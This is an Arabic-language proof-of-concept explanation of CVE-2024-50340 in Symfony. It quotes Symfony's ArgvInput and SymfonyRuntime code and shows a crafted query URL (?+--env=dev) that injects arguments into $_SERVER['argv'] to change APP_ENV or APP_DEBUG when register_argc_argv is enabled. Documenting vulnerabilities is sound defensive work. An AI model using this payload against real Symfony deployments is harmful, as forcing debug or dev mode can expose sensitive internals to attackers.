
إثبات مفهوم لاستغلال CVE-2024-50340 يوضح حقن متغيرات البيئة في Symfony ArgvInput عبر معاملات استعلام URL مُصممة، مما يتيح التلاعب بـ APP_ENV و APP_DEBUG.
يجب تمكين خيار register_argc_argv في ملف تكوين PHP (php.ini). يقوم هذا الإعداد بتحميل وسائط سطر الأوامر ومعلمات الاستعلام إلى $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
يستخدم كود Symfony هذا وسائط الإدخال (ArgvInput) لتحديد قيم بعض متغيرات البيئة، وتحديدًا APP_ENV و APP_DEBUG. فيما يلي الأجزاء ذات الصلة من كود Symfony:
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();
if (isset($this->options['env'])) {
return $this->input = $input;
}
if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}
if ($input->hasParameterOption('--no-debug', true)) {
putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}
يعالج الكود أعلاه الوسائط المقدمة عبر ArgvInput. إذا تم تحديد المعامل --env في argv، فإنه يقوم بتحديث متغير البيئة APP_ENV وفقًا لذلك. وبالمثل، إذا كان --no-debug موجودًا، فإنه يضبط APP_DEBUG على 0.
تقوم فئة ArgvInput بتهيئة معاملات argv التي تم تمريرها عبر سطر الأوامر أو معلمات الاستعلام أو افتراضيًا تلك الموجودة في $_SERVER['argv']. تعمل الدالة array_shift($argv); على إزالة العنصر الأول من مصفوفة $argv (عادةً اسم التطبيق) وتخزين الوسائط المتبقية في $this->tokens.
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
$argv ??= $_SERVER['argv'] ?? [];
// strip the application name
array_shift($argv);
$this->tokens = $argv;
parent::__construct($definition);
}
باستخدام عنوان URL التالي: http://localhost/?+--env=dev، يمكننا حقن وسيطة --env=dev في $_SERVER['argv']. يتيح لنا ذلك تغيير قيمة APP_ENV إلى dev دون تعديل تكوين التطبيق مباشرة.
$_SERVER['argv'] = ["+--env=dev"];
$argv = ["--env=dev"];